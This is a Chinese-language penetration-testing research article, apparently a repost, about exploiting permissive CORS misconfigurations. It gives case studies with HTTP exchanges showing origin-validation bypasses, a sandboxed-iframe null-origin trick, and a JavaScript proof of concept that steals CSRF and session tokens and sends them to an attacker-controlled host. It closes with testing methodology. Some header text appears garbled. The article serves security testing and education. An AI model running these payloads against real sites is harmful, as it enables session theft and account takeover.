如果您是渗透测试人员,或应用程序安全渗透测试报告的消费者,您可能遇到过跨域资源共享 (CORS) 及其常见的错误配置。无论哪种情况,您都可能很快忽略该发现,因为它导致了另一项“建议”(没有任何影响的漏洞)。
但是,如果您花了一些时间了解 CORS 错误配置,您就会知道实验室体验与此“建议现实”形成鲜明对比。在实验室和相关研究中,您会发现自己在编写漏洞来窃取 API 密钥并执行帐户接管。这两种情况似乎都不足以为您的报告提供另一项“建议”。
这种不一致促使最近的一个研究项目回答了一个简单的问题:“我们是否低估了 CORS 漏洞”。为了测试这个问题,我获取了每个受 SWAT 许可证覆盖的域名的主页,并创建了一个巨大的 Burp Suite 文件(恰如其分地命名为“MEGASWAT”)。使用此文件和 Burp 的内置 CORS 扫描检查,我可以快速测试每个域名是否存在宽松的 CORS 漏洞,并创建一个有漏洞的域名列表进行探索,希望最终能够创建一些有影响力的 CORS 漏洞利用程序。
跨域资源共享 (CORS) 的背景
要理解 CORS,最好先了解一下同源策略。从根本上讲,同源策略可以防止应用程序读取来自第三方应用程序的数据。请看以下示例:
用户当前正在浏览器中访问“outpost24.com”。如果“outpost24.com”应用程序随后尝试访问另一个第三方应用程序(例如“outpost24.atlassian.net”),同源策略将阻止“outpost24.com”读取来自“outpost24.atlassian.net”的响应。这可以防止攻击者托管恶意网站,只需请求来自“mail.google.com”等网站的响应,即可轻松窃取用户的机密数据。简而言之,同源策略是一种安全控制,可防止应用程序窃取您的私人数据。
然而,有些情况下,“outpost24.com”域可能确实想要从“outpost24.atlassian.net”域读取数据。毕竟,它们都受到 Outpost24 的信任。在这些情况下,可以通过实施跨源资源共享来放宽同源策略。请看以下示例:
这里,我们有相同的示例。不过,这一次,我们实施了 CORS 并放宽了同源策略。为此,“outpost24.com”域包含一个“Origin: https://outpost24.com”标头,该标头告知“outpost24.atlassian.net”请求来自哪里。如果“outpost24.atlassian.net”信任“https://outpost24.com”,则它可以使用“Access-Control-Allow-Origin: https://outpost24.com”标头进行响应。这会指示用户的浏览器允许读取来自“outpost24.atlassian.net”的响应数据。此外,“Access-Control-Allow-Credentials: true”标头指定还可以读取与用户会话绑定的私人数据。
到目前为止,这似乎是安全的。第三方域可以通过“Access-Control-Allow-Origin”标头决定信任哪些来源,因此攻击者控制的任意域都无法滥用此关系。但是,如果我们想信任多个域会发生什么?
CORS 规范规定,“Access-Control-Allow-Origin”标头只能指定一个来源。如果您想要信任多个来源,服务器必须返回发出请求的特定客户端的来源。这并非完全不合理,但它确实迫使开发人员为“Origin”标头实现动态 URL 解析。不幸的是,这可能是一项棘手的任务,开发人员经常在此实现中犯错误。
允许跨域资源共享
一个常见的错误是信任“Origin”标头的值而不进行任何表单验证。考虑到这一假设,开发人员通常会读取标头的值并将其反映在“Access-Control-Allow-Origin”标头的值中。
GET / HTTP/2
Origin: https://arbitrary.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
不幸的是,这个简单的错误实际上会通知用户的浏览器,任何域都有权从易受攻击的域读取私有数据。当攻击者发现此易受攻击的配置时,利用起来很容易:
此脚本托管在攻击者的域上。当毫无戒心的受害者被诱骗访问此域时,JavaScript 将触发对攻击者想要窃取私人数据的易受攻击域的请求。由于 Permissive CORS 实现,浏览器将允许 JavaScript 读取私人响应数据,然后攻击者会将这些数据泄露到他们自己受攻击者控制的域中(如最后一行所示)。
CORS 漏洞案例研究
要准确了解此攻击流程如何执行,最好查看一些案例研究。以下所有案例研究都是在研究过程中发现的真实 SWAT 应用程序或经过验证的 CORS 漏洞外部示例。
案例研究 #1 – 任意反射原点
该应用程序是一家知名银行,其具有典型的易受攻击的 CORS 配置,其中“Origin”标头反映到“Access-Control-Allow-Origin”标头中,如下所示:
GET / HTTP/2
Host: vulnerable.se
Cookie: <session_cookie>
Origin: https://arbitrary.com
НТТР/2 200 OK
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
-
受害者(存在漏洞的银行的用户)访问恶意的attacker-domain.se页面
-
攻击者控制的域名会触发前面提到的 CORS 漏洞脚本,该脚本会在受害者的浏览器中触发对“vulnerable.se/getSessionToken”的请求
-
由于 Permissive CORS 配置,受害者的浏览器认为“attacker-domain.se”有权读取受害者的会话令牌,因此允许恶意脚本读取响应数据,并将其泄露到攻击者控制的域
因此,我们能够控制银行内的用户会话,从而可以访问各种机密信息。
需要注意的是,以下所有允许的 CORS 案例研究都遵循与上述相同的漏洞利用流程,因此以下案例的重点应放在 CORS 的具体错误配置上,而不是漏洞利用本身。
案例研究 #1.5 – 任意反射原点“null”
与案例研究 #1 极为相似的一个案例研究是令人费解地决定信任“null”来源。“null”来源表示不存在的来源。最初这似乎很安全,因为毕竟攻击者无法拥有不存在的域。然而,只要稍微耍点小花招,攻击者实际上就可以在沙盒 iframe 中托管相同的 CORS 漏洞利用脚本,然后它将触发将“Origin”标头设置为“null”的请求。
GET / HTTP/2
Cookie: <session_cookie>
Origin: null
HTTP/2 200 0K
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data: text/html, <script>*cors stuff here*</script>'></iframe>
案例研究 #2 – 从目标域开始
并非所有的 Permissive CORS 实现都源于未能阅读 CORS 规范。有时开发人员打算创建安全的 CORS 关系,但未能实现对“Origin”标头的安全验证。一个典型的例子是旅行预订应用程序,它存储了有关其用户及其计划的旅行的各种敏感数据。
GET / HTTP/2
Origin: https://travel-advice.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com
Access-Control-Allow-Credentials: true
如您所见,只需为以受信任域开头的攻击者控制域的子域添加 DNS 记录,就可以让我们托管脚本并窃取机密数据。
GET /api/v1/token HTTP/2
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"access_token":"eyJhY2Nlc3NfdG9rZW4i0iJTZXJpb3VzbHk/Li4uIEJ5IGhhbmQ/In0="
}
在这种情况下,我们能够窃取访问令牌,然后可以使用该令牌来更改受害者的电子邮件地址,从而完全控制受害者的帐户。
案例研究#3——信任相关域
这种情况实际上是在之前“travel-advice.app”范围内包含的单独域中发现的。最初,这个单独的域(我们称之为“ta.app.io”)没有出现在我的扫描中。原因是 Burp 的内置 CORS 扫描检查仅识别提供给扫描的域。因此,当它运行以下请求并且没有返回 CORS 响应标头时,没有任何可报告的内容:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://ta.app.io
HTTP/2 200 OK
?
但是,经过一些上下文相关的思考,我想到了一个简单的想法。如果这个域名不信任自己,但信任相关域名“travel-advice.com”,该怎么办?
GET / HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://travel-advice.com
Access-Control-Allow-Credentials: true
我很快意识到他的猜测是正确的。在这里,我们向“ta.app.io”发送请求,但声称该请求来自“travel-advice.com”。这导致“ta.app.io”域突然显示它确实信任“travel-advice.com”域。我已经知道以前的域名的实现存在缺陷,所以我在这个域名上测试了同样的绕过方法:
GET / HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com
НТТР/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true
该域名使用了同样有缺陷的实现,使我再次窃取了用户的访问令牌。
GET /api/v1/token HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"access_token":"eyJhY2N1c3NfdG9rZWUi0iJTZXJpb3VzbHk/LiUuIEJ5IGhhbnQ/InO="
}
这个案例特别有趣,因为它揭示了我怀疑经常被忽视的攻击面。除非您为应用程序提供上下文相关来源,否则应用程序可能不会透露它甚至实现了 CORS。换句话说,应用程序可能不信任自己,但可能信任其他相关域或子域。如果任何这些相关来源验证不正确,您仍然可以在“Access-Control-Allow-Origin”标头中实现任意域反射并利用这些案例。
案例研究#4 – 我们信任 localhost
在这种情况下,移动运营商最初希望信任任意子域(稍后会详细介绍)。然而,经过一番挖掘,我很快发现它也信任来自“localhost”的请求。
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://localhost
HTTP/2 200 OK
Access-Control-Allow-Origin: https://localhost
Access-Control-Allow-Credentials: true
这本身并不是一个易受攻击的 CORS 配置,因为您不能拥有名为“localhost”的域。但是,“localhost”的验证可能被错误地实施。
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://localhost.outpost24.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://localhost.outpost24.com
Access-Control-Allow-Credentials: true
事实确实如此。再次验证,仅检查“Origin”标头是否以“localhost”开头。这又突出了另一个可能被忽视的攻击面,因为默认的 Burp CORS 扫描检查不会检查本地主机绕过。也就是说,在撰写本文时,PortSwigger 发布了他们的URL 验证绕过备忘单,我们向其提交了我们的本地主机绕过。它现已上线并包含在“CORS”部分下。
案例研究#5——任意子域反射
在我最初的扫描中,我并没有太注意 Burp 关于信任任意子域的 CORS 实现的报告。然而,在与我的同事 Jimmy 讨论这些案例时(在此处查看他的工作),他指出信任任意子域仍然是一种易受攻击的配置,因为有可能对任何子域执行子域接管或 XSS。此外,我们意识到来自子域的请求可能会(假设设置了“域”属性)绕过任何 SameSite cookie 限制。
注意:当 SameSite 设置为“Lax”(有一些例外)或“Strict”时,它将阻止在跨域上下文中发送 cookie 。因此,前面的情况滥用了“None”值。
一家在线游戏零售商和工作室发现了一起任意子域反射的案例:
GET /user/sso/status HTTP/2
Cookie:<session_cookie>
Origin: https://arbitrary.wesellganes.play
HTTP/2 200 OK
Access-ControL-ALLou-0rigan: https://arbitrary.wesellganes.play
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"hash":"e59d316abce80418c20937e57315cf91c1207605fe2411953844b25d",
"ID":"93635689"
}
如果这个请求是从“wesellgames.play”的任何子域发起的,我们就能够窃取响应数据,当使用 Base64 编码时,这些数据会拼凑成受害者用户的会话 cookie。
需要注意的是,此处的正确实施是创建受信任子域的白名单,并针对这些域检查“Origin”标头的值。虽然如果经常创建/销毁子域,则需要付出相当大的努力,需要更新此白名单代码,但开发人员必须避免信任所有子域,因为这会大大增加使用一些长期被遗忘且易受攻击的子域进行成功利用的机会。
案例研究#6 – 多步骤 CORS 概念验证
到目前为止,我们所利用的案例研究中的一个共同主题是利用的简单性。只需向易受攻击的域发送一个请求,我们就会窃取其响应。但是,渗透测试人员不应忘记,我们正在使用 JavaScript 利用此漏洞,因此您有很多更复杂的利用方法。以以下场景为例:
GET /user/getSessionToken?csrf_token=<csrf_token> HTTP/2
Cookie: <session_cookie>
Origin: https://arbitrary.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"session":"659d316abce80418c20937e57315cf91c12676b5fe2411953044b25d"
}
此处,“/user/getSessionToken”端点易受宽容型 CORS 攻击,可通过任意域反射进行攻击。但是,由于跨站点请求伪造 (CSRF) 令牌的存在,攻击者无法窃取受害用户的会话令牌,除非他们能猜出 CSRF 令牌的值。虽然最初这似乎是一条死路,但始终值得检查其他易受宽容型 CORS 攻击的端点。
GET /user/generateCSRF HTTP/2
Cookie: <session_cookie>
Origin: https://arbitrary.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"csrf_token":"37cb98bfc6d271b108ac2029a0912c9e"
}
这里,用于生成 CSRF 令牌的端点也容易受到 Permissive CORS 的攻击。因此,使用稍微复杂的有效负载,我们可以执行两次 CORS 攻击,以窃取受害者用户的会话令牌。
该脚本最初滥用宽容的 CORS 漏洞来读取受害者用户的 CSRF 令牌。一旦实现,该脚本就会触发对“/getSession”端点的第二次提取,允许攻击者窃取受害者用户的会话令牌,尽管有 CSRF 令牌。
const exploit = async () => {
//Grab CSRF Token
const getCSRF = await fetch(
"https://arbitrary.com/generateCSRF",
{
credentials: "include"
}
);
const csrf_token = await getCSRF.text();
//Use CSRF Token to grab session token
const getSession = await fetch(
"https://arbitrary.com/getSession?csrf_token=" + csrf_token,
{
credentials: "include"
}
);
const sessionToken = await getSession.text);
//Exfiltrate Session Token
fetch("https://<attacker-controlled>/log?sessionToken=" + sessionToken);
}
关于通配符的说明
在进行更奇特的案例研究之前,我们应该先了解一下 CORS 通配符。一个常见的误解是,以下响应容易受到宽容的 CORS 攻击:
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
此响应实现了 CORS 规范的“通配符”,代表任何来源。因此,按理说,此响应表明应用程序信任任何来源并将其私有数据交给它们。然而,事实并非如此。
CORS 规范规定,如果使用通配符,“Access-Control-Allow-Credentials”标头将失效,从而阻止任何试图窃取经过身份验证的用户私人数据的潜在漏洞。这是一种相当常见的配置,实际上破坏了 CORS 的合法实现。
也就是说,并非所有 CORS 漏洞都必须滥用“Access-Control-Allow-Credentials”标头。
案例研究#7 – 隧道施工
本案例研究对于那些接触只能在内部网络上访问的应用程序的渗透测试人员来说特别有用。通常,这种应用程序不实施任何形式的身份验证,因为只有当您在内部网络或公司 VPN 上时才可以访问它。
如果在这种类型的应用程序上实现了 CORS,那么可以利用如下简单的配置。
HTTP/2 200 OK
Access-Control-Allow-Origin: *
-
攻击者向受害者发送一个指向其控制域的链接
-
受害者(位于内部网络)访问攻击者控制的域
-
攻击者控制的域上托管的恶意脚本在受害者的浏览器中执行,不幸的是,该浏览器可以访问内部网络。这使得脚本能够到达内部“BitBucket”实例,并从私有 git 存储库中窃取信息
-
该脚本将私有的“BitBucket”数据从内部网络泄露到攻击者控制的域中
值得注意的是,这种技术在应用程序实施身份验证的典型情况下仍然有效。但是,在这种情况下,源需要反映攻击者的域,并且需要像往常一样设置“Access-Control-Allow-Credentials”标头。
案例研究#8 – 特殊字符绕过
我们的最后一个案例研究让人想起了 2016 年记录的一种高级 CORS 技术,最近又在 PortSwigger 的URL 验证绕过备忘单中再次出现。这项研究发现,一些浏览器支持域名内的各种奇怪字符。至关重要的是,Chrome 和 Firefox 都支持下划线“_”,这很容易破坏用于验证“Origin”标头的正则表达式。
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
此外,Safari 对域名中特殊字符的接受极其松懈,从而允许甚至出现更奇怪的“Origin”标头验证绕过示例。
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
我们是否低估了 CORS 漏洞?
在我结束这项研究时,我们已经报告或更新了 SWAT 客户的各种发现,漏洞范围从小型信息泄露到影响用户会话的更严重情况。展望未来,团队现在已经能够很好地利用最隐蔽的宽松 CORS 漏洞,因为我们现在拥有更强大的方法来检测和创建实用且现实的概念验证。
由于现代安全控制(如“SameSite”cookie 属性)或现代应用程序架构(如单页应用程序)经常实现自定义“授权”标头,而浏览器不会自动将这些标头包含在凭证请求中,因此宽容型 CORS 可能很难被利用。然而,这项研究表明,如果你仔细观察,你仍然会发现这些漏洞,有时甚至会产生严重影响。
此外,我意识到 CORS 的检测同样棘手。虽然 Burp Suite 的扫描检查非常出色,但如果您没有能力寻找它们,就会错过一些极端情况。考虑到所有这些,以下部分详细介绍了一些工具和方法建议,您可以遵循这些建议来增加在跨源资源共享实现中发现漏洞的机会。
方法论建议
1. 扫描,扫描,扫描
CORS 标头并不总是在应用程序范围内实现的。您经常会发现它们隐藏在应用程序的特定区域(例如 API 端点)中。鉴于这些标头可能突然出现在任何端点上,我们作为渗透测试人员有责任在检查 CORS 时非常小心。如果您看到包含敏感数据的端点,请对该端点运行快速 CORS 检查以防万一。
2.考虑所有受信任的域
测试宽容的 CORS 时的一个盲点是假设应用程序信任自己,因此您可以通过在请求中添加“Origin:<此处为应用程序的域>”来检查 CORS 标头。但是,这种假设可能存在缺陷。更可靠的检查应包括创建已知相关域和子域的列表,并通过“Origin”标头运行该列表。
如果这些域中的任何一个在响应中触发 CORS 标头,则这些域的验证可能仍然存在缺陷。因此,值得为每个受信任的域寻找案例研究中讨论的绕过方法。
3. 当 SameSite 不是“无”时不要放弃
SameSite 一直是渗透测试人员的痛点,现在依然如此。这可能意味着它是一种非常好的安全控制。话虽如此,“SameSite=None”并不是唯一可以利用 CORS 的情况。当“Set-Cookie”标头包含“SameSite=Lax”或“SameSite=Strict”以及“Domain=<target-domain>”时,请查找任意子域反射。通过 XSS 或子域接管托管在这些子域上的任何 CORS 漏洞都将自动绕过“SameSite”限制。
4. 在内部应用程序上应用上下文
在测试内部应用程序时,您通常会通过 VPN 访问该应用程序。如果它未实现身份验证,但还实现了 CORS 通配符“*”,请记住,您有一个有效的 CORS 案例需要探索。
5. 授权标头并不意味着游戏结束
您经常会遇到实现 CORS 的应用程序,但也使用自定义的“Authorization Bearer <access_token>”标头。虽然这确实可以防止对需要此“Authorization”标头的任何端点进行利用,但不要就此放弃。某些实现使用初始设置的 cookie 来刷新或更新承载令牌。如果这些端点容易受到宽容的 CORS 错误配置的影响,您就有可能获得关键发现,从而窃取受害者的访问令牌。
工具最佳实践
为了补充这种方法,我创建了一个Burp 扩展,它将检查本研究中提到的所有绕过方法,以及 PortSwigger 最近发布的URL 验证绕过备忘单中包含的绕过方法。此外,该扩展还可用于快速检查任何给定端点是否具有隐藏的受信任域。如果任何域看起来是受信任的,则扩展将自动尝试使用前面提到的绕过方法来检查是否存在宽容的 CORS 问题。
或者,您可以使用入侵者手动检查受信任的域:
-
将范围内的所有域名纳入测试,并针对它们运行subfinder等工具,以构建可能被视为“可信”的域名和子域名列表
-
将你想要测试是否允许 CORS 的端点发送给 Burp Suite 中的入侵者,并添加一个带有占位符的“Origin”标头,例如 `Origin: https://§outpost24.com§`
-
在入侵者设置中取消选中“对这些字符进行 URL 编码”
-
运行脚本,并过滤“Access-Control-Allow-Origin”标头
一旦您获得了使用“Access-Control-Allow-Origin”标头响应的受信任域列表,您就可以测试正常的“Origin”标头绕过以尝试获得任意域反射。
关键要点
-
宽容的 CORS通常 不只是一项建议,而且仍然存在案例
-
任意子域名反射仍然不安全
-
当应用程序信任除自己之外的其他域时,宽容的 CORS 可以逃避扫描检查
-
应仔细评估内部应用程序是否允许 CORS,包括使用通配符
-
多步骤概念验证可行且有效
原文始发于微信公众号(Ots安全):利用信任:将宽松的 CORS 配置武器化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论